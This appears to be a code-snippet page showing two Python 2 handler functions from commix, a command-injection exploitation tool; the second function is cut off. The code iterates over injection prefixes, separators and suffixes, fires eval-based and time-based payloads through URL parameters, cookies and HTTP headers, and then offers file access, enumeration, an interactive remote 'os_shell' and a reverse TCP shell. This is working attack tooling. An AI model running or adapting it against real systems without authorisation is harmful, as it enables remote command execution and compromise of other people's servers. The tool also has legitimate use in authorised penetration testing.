示例#1
0
def eb_injection_handler(url, delay, filename, http_request_method):

  counter = 1
  vp_flag = True
  no_result = True
  export_injection_info = False
  injection_type = "Results-based Command Injection"
  technique = "eval-based code injection technique"

  for item in range(0, len(settings.EXECUTION_FUNCTIONS)):
    settings.EXECUTION_FUNCTIONS[item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "("
  settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS

  url = eb_injector.warning_detection(url, http_request_method)
  
  if not settings.LOAD_SESSION:
    info_msg = "Testing the " + technique + "... "
    sys.stdout.write(settings.print_info_msg(info_msg))
    sys.stdout.flush()

  i = 0
  # Calculate all possible combinations
  total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES)
  for whitespace in settings.WHITESPACE:
    for prefix in settings.EVAL_PREFIXES:
      for suffix in settings.EVAL_SUFFIXES:
        for separator in settings.EVAL_SEPARATORS:

          # If a previous session is available.
          if settings.LOAD_SESSION and session_handler.notification(url, technique):
            url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
            checks.check_for_stored_tamper(payload)
            
          if settings.RETEST == True:
            settings.RETEST = False
            from src.core.injections.results_based.techniques.classic import cb_handler
            cb_handler.exploitation(url, delay, filename, http_request_method)
            
          if not settings.LOAD_SESSION:
            i = i + 1
            # Check for bad combination of prefix and separator
            combination = prefix + separator
            if combination in settings.JUNK_COMBINATION:
              prefix = ""

            # Change TAG on every request to prevent false-positive results.
            TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))

            randv1 = random.randrange(100)
            randv2 = random.randrange(100)
            randvcalc = randv1 + randv2

            # Define alter shell
            alter_shell = menu.options.alter_shell

            try:
              if alter_shell:
                # Classic -alter shell- decision payload (check if host is vulnerable).
                payload = eb_payloads.decision_alter_shell(separator, TAG, randv1, randv2)
              else:
                # Classic decision payload (check if host is vulnerable).
                payload = eb_payloads.decision(separator, TAG, randv1, randv2)

              suffix = urllib.quote(suffix)
              # Fix prefixes / suffixes
              payload = parameters.prefixes(payload, prefix)
              payload = parameters.suffixes(payload, suffix)

              # Fixation for specific payload.
              if ")%3B" + urllib.quote(")}") in payload:
                payload = payload.replace(")%3B" + urllib.quote(")}"), ")" + urllib.quote(")}"))
              payload = payload +  TAG + ""

              # Whitespace fixation
              payload = re.sub(" ", whitespace, payload)

              if settings.TAMPER_SCRIPTS['base64encode']:
                from src.core.tamper import base64encode
                payload = base64encode.encode(payload)
              else:
                payload = re.sub(" ", "%20", payload)

              # Check if defined "--verbose" option.
              if settings.VERBOSITY_LEVEL >= 1:
                sys.stdout.write("\n" + settings.print_payload(payload))

              # Cookie Injection
              if settings.COOKIE_INJECTION == True:
                # Check if target host is vulnerable to cookie injection.
                vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
                response = eb_injector.cookie_injection_test(url, vuln_parameter, payload)

              # User-Agent Injection
              elif settings.USER_AGENT_INJECTION == True:
                # Check if target host is vulnerable to user-agent injection.
                vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
                response = eb_injector.user_agent_injection_test(url, vuln_parameter, payload)

              # Referer Injection
              elif settings.REFERER_INJECTION == True:
                # Check if target host is vulnerable to referer injection.
                vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
                response = eb_injector.referer_injection_test(url, vuln_parameter, payload)

              # Custom HTTP header Injection
              elif settings.CUSTOM_HEADER_INJECTION == True:
                # Check if target host is vulnerable to custom http header injection.
                vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
                response = eb_injector.custom_header_injection_test(url, vuln_parameter, payload)

              else:
                found_cookie_injection = False
                # Check if target host is vulnerable.
                response, vuln_parameter = eb_injector.injection_test(payload, http_request_method, url)
      
              # if need page reload
              if menu.options.url_reload: 
                time.sleep(delay)
                response = urllib.urlopen(url)
                
              # Evaluate test results.
              shell = eb_injector.injection_test_results(response, TAG, randvcalc)

              if not settings.VERBOSITY_LEVEL >= 1:
                percent = ((i*100)/total)
                float_percent = "{0:.1f}".format(round(((i*100)/(total * 1.0)),2))

                if shell == False:
                  info_msg = "Testing the " + technique + "... " +  "[ " + float_percent + "%" + " ]"
                  sys.stdout.write("\r" + settings.print_info_msg(info_msg))  
                  sys.stdout.flush()

                if str(float_percent) == "100.0":
                  if no_result == True:
                    percent = Fore.RED + "FAILED" + Style.RESET_ALL
                  else:
                    percent = str(float_percent)+ "%"
                elif len(shell) != 0:
                  percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                else:
                  percent = str(float_percent)+ "%"

                info_msg = "Testing the " + technique + "... " +  "[ " + percent + " ]"
                sys.stdout.write("\r" + settings.print_info_msg(info_msg))  
                sys.stdout.flush()
                
            except KeyboardInterrupt: 
              raise

            except SystemExit: 
              raise

            except:
              continue
          
          # Yaw, got shellz! 
          # Do some magic tricks!
          if shell:
            found = True
            no_result = False

            if settings.COOKIE_INJECTION == True: 
              header_name = " cookie"
              found_vuln_parameter = vuln_parameter
              the_type = " parameter"

            elif settings.USER_AGENT_INJECTION == True: 
              header_name = " User-Agent"
              found_vuln_parameter = ""
              the_type = " HTTP header"
              
            elif settings.REFERER_INJECTION == True: 
              header_name = " Referer"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.CUSTOM_HEADER_INJECTION == True: 
              header_name = " " + settings.CUSTOM_HEADER_NAME
              found_vuln_parameter = ""
              the_type = " HTTP header"

            else:    
              header_name = ""
              the_type = " parameter"
              if http_request_method == "GET":
                found_vuln_parameter = parameters.vuln_GET_param(url)
              else :
                found_vuln_parameter = vuln_parameter

            if len(found_vuln_parameter) != 0 :
              found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'"

            # Print the findings to log file.
            if export_injection_info == False:
              export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
            if vp_flag == True:
              vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
            logs.update_payload(filename, counter, payload) 
            counter = counter + 1

            if not settings.LOAD_SESSION:
              print ""

            # Print the findings to terminal.
            success_msg = "The (" + http_request_method + ")" 
            success_msg += found_vuln_parameter + header_name
            success_msg += the_type + " is vulnerable to " + injection_type + "."
            print settings.print_success_msg(success_msg)
            print "  (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
            print "  (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
            print "  (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload) + Style.RESET_ALL

            # Export session
            if not settings.LOAD_SESSION:
              session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, delay=0, how_long=0, output_length=0, is_vulnerable="True")
            else:
              whitespace = settings.WHITESPACE[0]
              settings.LOAD_SESSION = False 
              
            # Check for any enumeration options.
            if settings.ENUMERATION_DONE == True :
              while True:
                question_msg = "Do you want to enumerate again? [Y/n/q] > "
                enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
                if enumerate_again in settings.CHOICE_YES:
                  eb_enumeration.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
                  print ""
                  break
                elif enumerate_again in settings.CHOICE_NO: 
                  break
                elif enumerate_again in settings.CHOICE_QUIT:
                  sys.exit(0)
                else:
                  if enumerate_again == "":
                    enumerate_again = "enter"
                  err_msg = "'" + enumerate_again + "' is not a valid answer."
                  print settings.print_error_msg(err_msg) + "\n"
                  pass

            else:
              if menu.enumeration_options():
                eb_enumeration.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
            
            if not menu.file_access_options() and not menu.options.os_cmd:
              print ""

            # Check for any system file access options.
            if settings.FILE_ACCESS_DONE == True :
              if settings.ENUMERATION_DONE != True:
                print ""
              while True:
                question_msg = "Do you want to access files again? [Y/n/q] > "
                file_access_again = raw_input(settings.print_question_msg(question_msg)).lower()
                if file_access_again in settings.CHOICE_YES:
                  eb_file_access.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
                  print ""
                  break
                elif file_access_again in settings.CHOICE_NO: 
                  break
                elif file_access_again in settings.CHOICE_QUIT:
                  sys.exit(0)
                else:
                  if file_access_again  == "":
                    file_access_again  = "enter"
                  err_msg = "'" + file_access_again  + "' is not a valid answer."
                  print settings.print_error_msg(err_msg) + "\n"
                  pass
            else:
              if menu.file_access_options():
                if not menu.enumeration_options():
                  print ""
                eb_file_access.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
                print ""

            # Check if defined single cmd.
            if menu.options.os_cmd:
              if not menu.file_access_options():
                print ""
              eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)

            # Pseudo-Terminal shell
            go_back = False
            go_back_again = False
            while True:
              if go_back == True:
                break
              question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > "  
              gotshell = raw_input(settings.print_question_msg(question_msg)).lower()
              if gotshell in settings.CHOICE_YES:
                print ""
                print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                if readline_error:
                  checks.no_readline_module()
                while True:
                  try:
                    # Tab compliter
                    if not readline_error:
                      readline.set_completer(menu.tab_completer)
                      # MacOSX tab compliter
                      if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
                        readline.parse_and_bind("bind ^I rl_complete")
                      # Unix tab compliter
                      else:
                        readline.parse_and_bind("tab: complete")
                    cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                    cmd = checks.escaped_cmd(cmd)
                    if cmd.lower() in settings.SHELL_OPTIONS:
                      os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) 
                      if os_shell_option == False:
                        if no_result == True:
                          return False
                        else:
                          return True 
                      elif os_shell_option == "quit":                    
                        sys.exit(0)
                      elif os_shell_option == "back":
                        go_back = True
                        break
                      elif os_shell_option == "os_shell": 
                        warn_msg = "You are already into an 'os_shell' mode." 
                        print settings.print_warning_msg(warn_msg)+ "\n"
                      elif os_shell_option == "reverse_tcp":
                        settings.REVERSE_TCP = True
                        # Set up LHOST / LPORT for The reverse TCP connection.
                        reverse_tcp.configure_reverse_tcp()
                        if settings.REVERSE_TCP == False:
                          continue
                        while True:
                          if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
                            result = checks.check_reverse_tcp_options(settings.LHOST)
                          else:  
                            cmd = reverse_tcp.reverse_tcp_options()
                            result = checks.check_reverse_tcp_options(cmd)
                          if result != None:
                            if result == 0:
                              return False
                            elif result == 1 or result == 2:
                              go_back_again = True
                              settings.REVERSE_TCP = False
                              break
                          # Command execution results.
                          response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
                          # Evaluate injection results.
                          shell = eb_injector.injection_results(response, TAG, cmd)
                          if settings.VERBOSITY_LEVEL >= 1:
                            print ""
                          err_msg = "The reverse TCP connection has been failed!"
                          print settings.print_critical_msg(err_msg)
                      else:
                        pass
                        
                    else:
                      # The main command injection exploitation.
                      response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
                            
                      # if need page reload
                      if menu.options.url_reload:
                        time.sleep(delay)
                        response = urllib.urlopen(url)
                      if menu.options.ignore_session or\
                         session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                        # Evaluate injection results.
                        shell = eb_injector.injection_results(response, TAG, cmd)
                        shell = "".join(str(p) for p in shell).replace(" ", "", 1)
                        if not menu.options.ignore_session :
                          session_handler.store_cmd(url, cmd, shell, vuln_parameter)
                      else:
                        shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
                      
                      #if shell:
                      if shell != "":
                        shell = "".join(str(p) for p in shell)
                        print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
                      else:
                        err_msg = "The '" + cmd + "' command, does not return any output."
                        print "\n" + settings.print_error_msg(err_msg) + "\n"
                    
                  except KeyboardInterrupt: 
                    raise

                  except SystemExit: 
                    raise

              elif gotshell in settings.CHOICE_NO:
                if checks.next_attack_vector(technique, go_back) == True:
                  break
                else:
                  if no_result == True:
                    return False 
                  else:
                    return True  

              elif gotshell in settings.CHOICE_QUIT:
                sys.exit(0)

              else:
                if gotshell == "":
                  gotshell = "enter"
                err_msg = "'" + gotshell + "' is not a valid answer."  
                print settings.print_error_msg(err_msg) + "\n"
                pass
              
              
  if no_result == True:
    print ""
    return False

  else :
    sys.stdout.write("\r")
    sys.stdout.flush()
示例#2
0
def tb_injection_handler(url, timesec, filename, http_request_method,
                         url_time_response):

    counter = 1
    num_of_chars = 1
    vp_flag = True
    no_result = True
    is_encoded = False
    possibly_vulnerable = False
    false_positive_warning = False
    export_injection_info = False
    how_long = 0
    injection_type = "blind OS command injection"
    technique = "time-based command injection technique"

    if settings.VERBOSITY_LEVEL >= 1:
        info_msg = "Testing the " + "(" + injection_type.split(
            " ")[0] + ") " + technique + "... "
        print settings.print_info_msg(info_msg)

    # Check if defined "--maxlen" option.
    if menu.options.maxlen:
        maxlen = settings.MAXLEN

    # Check if defined "--url-reload" option.
    if menu.options.url_reload == True:
        warn_msg = "The '--url-reload' option is not available in " + technique + "."
        print settings.print_warning_msg(warn_msg)

    #whitespace = checks.check_whitespaces()
    # Calculate all possible combinations
    total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(
        settings.SEPARATORS) * len(settings.SUFFIXES)
    for whitespace in settings.WHITESPACE:
        for prefix in settings.PREFIXES:
            for suffix in settings.SUFFIXES:
                for separator in settings.SEPARATORS:
                    # Check injection state
                    settings.DETECTION_PHASE = True
                    settings.EXPLOITATION_PHASE = False
                    # If a previous session is available.
                    how_long_statistic = []
                    if settings.LOAD_SESSION and session_handler.notification(
                            url, technique, injection_type):
                        try:
                            settings.TIME_BASED_STATE = True
                            cmd = shell = ""
                            url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
                                url, http_request_method)
                            checks.check_for_stored_tamper(payload)
                            settings.FOUND_HOW_LONG = how_long
                            settings.FOUND_DIFF = how_long - timesec
                        except TypeError:
                            err_msg = "An error occurred while accessing session file ('"
                            err_msg += settings.SESSION_FILE + "'). "
                            err_msg += "Use the '--flush-session' option."
                            print settings.print_critical_msg(err_msg)
                            raise SystemExit()

                    if settings.RETEST == True:
                        settings.RETEST = False
                        from src.core.injections.results_based.techniques.classic import cb_handler
                        cb_handler.exploitation(url, timesec, filename,
                                                http_request_method)

                    if not settings.LOAD_SESSION:
                        num_of_chars = num_of_chars + 1
                        # Check for bad combination of prefix and separator
                        combination = prefix + separator
                        if combination in settings.JUNK_COMBINATION:
                            prefix = ""

                        # Define alter shell
                        alter_shell = menu.options.alter_shell

                        # Change TAG on every request to prevent false-positive results.
                        TAG = ''.join(
                            random.choice(string.ascii_uppercase)
                            for num_of_chars in range(6))
                        tag_length = len(TAG) + 4

                        for output_length in range(1, int(tag_length)):
                            try:
                                if alter_shell:
                                    # Time-based decision payload (check if host is vulnerable).
                                    payload = tb_payloads.decision_alter_shell(
                                        separator, TAG, output_length, timesec,
                                        http_request_method)
                                else:
                                    # Time-based decision payload (check if host is vulnerable).
                                    payload = tb_payloads.decision(
                                        separator, TAG, output_length, timesec,
                                        http_request_method)

                                # Fix prefixes / suffixes
                                payload = parameters.prefixes(payload, prefix)
                                payload = parameters.suffixes(payload, suffix)

                                # Whitespace fixation
                                payload = payload.replace(" ", whitespace)

                                # Perform payload modification
                                payload = checks.perform_payload_modification(
                                    payload)

                                # Check if defined "--verbose" option.
                                if settings.VERBOSITY_LEVEL == 1:
                                    payload_msg = payload.replace("\n", "\\n")
                                    print settings.print_payload(payload_msg)
                                # Check if defined "--verbose" option.
                                elif settings.VERBOSITY_LEVEL > 1:
                                    info_msg = "Generating a payload for injection..."
                                    print settings.print_info_msg(info_msg)
                                    payload_msg = payload.replace("\n", "\\n")
                                    sys.stdout.write(
                                        settings.print_payload(payload_msg) +
                                        "\n")

                                # Cookie header injection
                                if settings.COOKIE_INJECTION == True:
                                    # Check if target host is vulnerable to cookie header injection.
                                    vuln_parameter = parameters.specify_cookie_parameter(
                                        menu.options.cookie)
                                    how_long = tb_injector.cookie_injection_test(
                                        url, vuln_parameter, payload)

                                # User-Agent HTTP header injection
                                elif settings.USER_AGENT_INJECTION == True:
                                    # Check if target host is vulnerable to user-agent HTTP header injection.
                                    vuln_parameter = parameters.specify_user_agent_parameter(
                                        menu.options.agent)
                                    how_long = tb_injector.user_agent_injection_test(
                                        url, vuln_parameter, payload)

                                # Referer HTTP header injection
                                elif settings.REFERER_INJECTION == True:
                                    # Check if target host is vulnerable to referer HTTP header injection.
                                    vuln_parameter = parameters.specify_referer_parameter(
                                        menu.options.referer)
                                    how_long = tb_injector.referer_injection_test(
                                        url, vuln_parameter, payload)

                                # Host HTTP header injection
                                elif settings.HOST_INJECTION == True:
                                    # Check if target host is vulnerable to host HTTP header injection.
                                    vuln_parameter = parameters.specify_host_parameter(
                                        menu.options.host)
                                    how_long = tb_injector.host_injection_test(
                                        url, vuln_parameter, payload)

                                # Custom HTTP header Injection
                                elif settings.CUSTOM_HEADER_INJECTION == True:
                                    # Check if target host is vulnerable to custom http header injection.
                                    vuln_parameter = parameters.specify_custom_header_parameter(
                                        settings.INJECT_TAG)
                                    how_long = tb_injector.custom_header_injection_test(
                                        url, vuln_parameter, payload)

                                else:
                                    # Check if target host is vulnerable.
                                    how_long, vuln_parameter = tb_injector.injection_test(
                                        payload, http_request_method, url)

                                # Statistical analysis in time responses.
                                how_long_statistic.append(how_long)

                                # Injection percentage calculation
                                percent = ((num_of_chars * 100) / total)
                                float_percent = "{0:.1f}".format(
                                    round(
                                        ((num_of_chars * 100) / (total * 1.0)),
                                        2))

                                if percent == 100 and no_result == True:
                                    if not settings.VERBOSITY_LEVEL >= 1:
                                        percent = Fore.RED + "FAILED" + Style.RESET_ALL
                                    else:
                                        percent = ""
                                else:
                                    if (url_time_response == 0 and (how_long - timesec) >= 0) or \
                                       (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
                                       (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :

                                        # Time relative false positive fixation.
                                        false_positive_fixation = False
                                        if len(TAG) == output_length:

                                            # Simple statical analysis
                                            statistical_anomaly = True
                                            if len(set(how_long_statistic[0:5])
                                                   ) == 1:
                                                if max(xrange(
                                                        len(how_long_statistic)
                                                ),
                                                       key=lambda x:
                                                       how_long_statistic[
                                                           x]) == len(TAG) - 1:
                                                    statistical_anomaly = False
                                                    how_long_statistic = []

                                            if timesec <= how_long and not statistical_anomaly:
                                                false_positive_fixation = True
                                            else:
                                                false_positive_warning = True

                                        # Identified false positive warning message.
                                        if false_positive_warning:
                                            warn_msg = "Unexpected time delays have been identified due to unstable "
                                            warn_msg += "requests. This behavior may lead to false-positive results.\n"
                                            sys.stdout.write(
                                                "\r" +
                                                settings.print_warning_msg(
                                                    warn_msg))
                                            while True:
                                                if not menu.options.batch:
                                                    question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
                                                    sys.stdout.write(
                                                        settings.
                                                        print_question_msg(
                                                            question_msg))
                                                    proceed_option = sys.stdin.readline(
                                                    ).replace("\n",
                                                              "").lower()
                                                else:
                                                    proceed_option = ""
                                                if len(proceed_option) == 0:
                                                    proceed_option = "c"
                                                if proceed_option.lower(
                                                ) in settings.CHOICE_PROCEED:
                                                    if proceed_option.lower(
                                                    ) == "s":
                                                        false_positive_fixation = False
                                                        raise
                                                    elif proceed_option.lower(
                                                    ) == "c":
                                                        timesec = timesec + 1
                                                        false_positive_fixation = True
                                                        break
                                                    elif proceed_option.lower(
                                                    ) == "q":
                                                        raise SystemExit()
                                                else:
                                                    err_msg = "'" + proceed_option + "' is not a valid answer."
                                                    print settings.print_error_msg(
                                                        err_msg)
                                                    pass

                                        # Check if false positive fixation is True.
                                        if false_positive_fixation:
                                            false_positive_fixation = False
                                            settings.FOUND_HOW_LONG = how_long
                                            settings.FOUND_DIFF = how_long - timesec
                                            if false_positive_warning:
                                                time.sleep(1)
                                            randv1 = random.randrange(1, 10)
                                            randv2 = random.randrange(1, 10)
                                            randvcalc = randv1 + randv2

                                            if settings.TARGET_OS == "win":
                                                if alter_shell:
                                                    cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str(
                                                        randv1) + " + " + str(
                                                            randv2) + ")\""
                                                else:
                                                    cmd = "powershell.exe -InputFormat none write (" + str(
                                                        randv1) + " + " + str(
                                                            randv2) + ")"
                                            else:
                                                cmd = "expr " + str(
                                                    randv1) + " %2B " + str(
                                                        randv2) + ""

                                            # Set the original delay time
                                            original_how_long = how_long

                                            # Check for false positive resutls
                                            how_long, output = tb_injector.false_positive_check(
                                                separator, TAG, cmd,
                                                whitespace, prefix, suffix,
                                                timesec, http_request_method,
                                                url, vuln_parameter, randvcalc,
                                                alter_shell, how_long,
                                                url_time_response)

                                            if (url_time_response == 0 and (how_long - timesec) >= 0) or \
                                               (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
                                               (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :

                                                if str(output) == str(
                                                        randvcalc) and len(
                                                            TAG
                                                        ) == output_length:
                                                    possibly_vulnerable = True
                                                    how_long_statistic = 0
                                                    if not settings.VERBOSITY_LEVEL >= 1:
                                                        percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                                                    else:
                                                        percent = ""
                                            else:
                                                break
                                        # False positive
                                        else:
                                            if not settings.VERBOSITY_LEVEL >= 1:
                                                percent = str(
                                                    float_percent) + "%"
                                                info_msg = "Testing the " + "(" + injection_type.split(
                                                    " "
                                                )[0] + ") " + technique + "... " + "[ " + percent + " ]"
                                                sys.stdout.write(
                                                    "\r" +
                                                    settings.print_info_msg(
                                                        info_msg))
                                                sys.stdout.flush()
                                            continue
                                    else:
                                        if not settings.VERBOSITY_LEVEL >= 1:
                                            percent = str(float_percent) + "%"
                                            info_msg = "Testing the " + "(" + injection_type.split(
                                                " "
                                            )[0] + ") " + technique + "... " + "[ " + percent + " ]"
                                            sys.stdout.write(
                                                "\r" + settings.print_info_msg(
                                                    info_msg))
                                            sys.stdout.flush()
                                        continue
                                if not settings.VERBOSITY_LEVEL >= 1:
                                    info_msg = "Testing the " + "(" + injection_type.split(
                                        " "
                                    )[0] + ") " + technique + "... " + "[ " + percent + " ]"
                                    sys.stdout.write(
                                        "\r" +
                                        settings.print_info_msg(info_msg))
                                    sys.stdout.flush()

                            except KeyboardInterrupt:
                                raise

                            except SystemExit:
                                raise

                            except EOFError:
                                err_msg = "Exiting, due to EOFError."
                                print settings.print_error_msg(err_msg)
                                raise

                            except:
                                percent = ((num_of_chars * 100) / total)
                                float_percent = "{0:.1f}".format(
                                    round(
                                        ((num_of_chars * 100) / (total * 1.0)),
                                        2))
                                if str(float_percent) == "100.0":
                                    if no_result == True:
                                        if not settings.VERBOSITY_LEVEL >= 1:
                                            percent = Fore.RED + "FAILED" + Style.RESET_ALL
                                            info_msg = "Testing the " + "(" + injection_type.split(
                                                " "
                                            )[0] + ") " + technique + "... " + "[ " + percent + " ]"
                                            sys.stdout.write(
                                                "\r" + settings.print_info_msg(
                                                    info_msg))
                                            sys.stdout.flush()
                                        else:
                                            percent = ""
                                    else:
                                        percent = str(float_percent) + "%"
                                        print ""
                                        # Print logs notification message
                                        logs.logs_notification(filename)
                                    #raise
                                else:
                                    percent = str(float_percent) + "%"
                            break

                    # Yaw, got shellz!
                    # Do some magic tricks!
                    if (url_time_response == 0 and (how_long - timesec) >= 0) or \
                       (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
                       (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
                        if (len(TAG) == output_length) and \
                           (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level):

                            found = True
                            no_result = False
                            # Check injection state
                            settings.DETECTION_PHASE = False
                            settings.EXPLOITATION_PHASE = True
                            if settings.LOAD_SESSION:
                                possibly_vulnerable = False

                            if settings.COOKIE_INJECTION == True:
                                header_name = " cookie"
                                found_vuln_parameter = vuln_parameter
                                the_type = " parameter"

                            elif settings.USER_AGENT_INJECTION == True:
                                header_name = " User-Agent"
                                found_vuln_parameter = ""
                                the_type = " HTTP header"

                            elif settings.REFERER_INJECTION == True:
                                header_name = " Referer"
                                found_vuln_parameter = ""
                                the_type = " HTTP header"

                            elif settings.CUSTOM_HEADER_INJECTION == True:
                                header_name = " " + settings.CUSTOM_HEADER_NAME
                                found_vuln_parameter = ""
                                the_type = " HTTP header"

                            else:
                                header_name = ""
                                the_type = " parameter"
                                if http_request_method == "GET":
                                    found_vuln_parameter = parameters.vuln_GET_param(
                                        url)
                                else:
                                    found_vuln_parameter = vuln_parameter

                            if len(found_vuln_parameter) != 0:
                                found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"

                            # Print the findings to log file.
                            if export_injection_info == False:
                                export_injection_info = logs.add_type_and_technique(
                                    export_injection_info, filename,
                                    injection_type, technique)
                            if vp_flag == True:
                                vp_flag = logs.add_parameter(
                                    vp_flag, filename, the_type, header_name,
                                    http_request_method, vuln_parameter,
                                    payload)
                            logs.update_payload(filename, counter, payload)
                            counter = counter + 1

                            if not settings.LOAD_SESSION:
                                if not settings.VERBOSITY_LEVEL >= 1:
                                    print ""
                                else:
                                    checks.total_of_requests()

                            # Print the findings to terminal.
                            success_msg = "The"
                            if len(found_vuln_parameter
                                   ) > 0 and not "cookie" in header_name:
                                success_msg += " " + http_request_method
                            success_msg += ('', ' (JSON)')[
                                settings.IS_JSON] + ('', ' (SOAP/XML)')[
                                    settings.IS_XML] + the_type + header_name
                            success_msg += found_vuln_parameter + " seems injectable via "
                            success_msg += "(" + injection_type.split(
                                " ")[0] + ") " + technique + "."
                            print settings.print_success_msg(success_msg)
                            print settings.SUB_CONTENT_SIGN + "Payload: " + str(
                                checks.url_decode(payload)) + Style.RESET_ALL
                            # Export session
                            if not settings.LOAD_SESSION:
                                shell = ""
                                session_handler.injection_point_importation(
                                    url,
                                    technique,
                                    injection_type,
                                    separator,
                                    shell,
                                    vuln_parameter,
                                    prefix,
                                    suffix,
                                    TAG,
                                    alter_shell,
                                    payload,
                                    http_request_method,
                                    url_time_response,
                                    timesec,
                                    original_how_long,
                                    output_length,
                                    is_vulnerable=menu.options.level)
                                #possibly_vulnerable = False
                            else:
                                settings.LOAD_SESSION = False

                            new_line = False
                            # Check for any enumeration options.
                            if settings.ENUMERATION_DONE == True:
                                while True:
                                    if not menu.options.batch:
                                        question_msg = "Do you want to enumerate again? [Y/n] > "
                                        enumerate_again = raw_input(
                                            "\n" + settings.print_question_msg(
                                                question_msg)).lower()
                                    else:
                                        enumerate_again = ""
                                    if len(enumerate_again) == 0:
                                        enumerate_again = "y"
                                    if enumerate_again in settings.CHOICE_YES:
                                        tb_enumeration.do_check(
                                            separator, maxlen, TAG, cmd,
                                            prefix, suffix, whitespace,
                                            timesec, http_request_method, url,
                                            vuln_parameter, alter_shell,
                                            filename, url_time_response)
                                        print ""
                                        break
                                    elif enumerate_again in settings.CHOICE_NO:
                                        new_line = True
                                        break
                                    elif enumerate_again in settings.CHOICE_QUIT:
                                        raise SystemExit()
                                    else:
                                        err_msg = "'" + enumerate_again + "' is not a valid answer."
                                        print settings.print_error_msg(err_msg)
                                        pass
                            else:
                                if menu.enumeration_options():
                                    tb_enumeration.do_check(
                                        separator, maxlen, TAG, cmd, prefix,
                                        suffix, whitespace, timesec,
                                        http_request_method, url,
                                        vuln_parameter, alter_shell, filename,
                                        url_time_response)
                                    print ""

                            # Check for any system file access options.
                            if settings.FILE_ACCESS_DONE == True:
                                print ""
                                while True:
                                    if not menu.options.batch:
                                        question_msg = "Do you want to access files again? [Y/n] > "
                                        sys.stdout.write(
                                            settings.print_question_msg(
                                                question_msg))
                                        file_access_again = sys.stdin.readline(
                                        ).replace("\n", "").lower()
                                    else:
                                        file_access_again = ""
                                    if len(file_access_again) == 0:
                                        file_access_again = "y"
                                    if file_access_again in settings.CHOICE_YES:
                                        tb_file_access.do_check(
                                            separator, maxlen, TAG, cmd,
                                            prefix, suffix, whitespace,
                                            timesec, http_request_method, url,
                                            vuln_parameter, alter_shell,
                                            filename, url_time_response)
                                        break
                                    elif file_access_again in settings.CHOICE_NO:
                                        if not new_line:
                                            new_line = True
                                        break
                                    elif file_access_again in settings.CHOICE_QUIT:
                                        raise SystemExit()
                                    else:
                                        err_msg = "'" + file_access_again + "' is not a valid answer."
                                        print settings.print_error_msg(err_msg)
                                        pass
                            else:
                                # if not menu.enumeration_options() and not menu.options.os_cmd:
                                #   print ""
                                tb_file_access.do_check(
                                    separator, maxlen, TAG, cmd, prefix,
                                    suffix, whitespace, timesec,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename, url_time_response)

                            # Check if defined single cmd.
                            if menu.options.os_cmd:
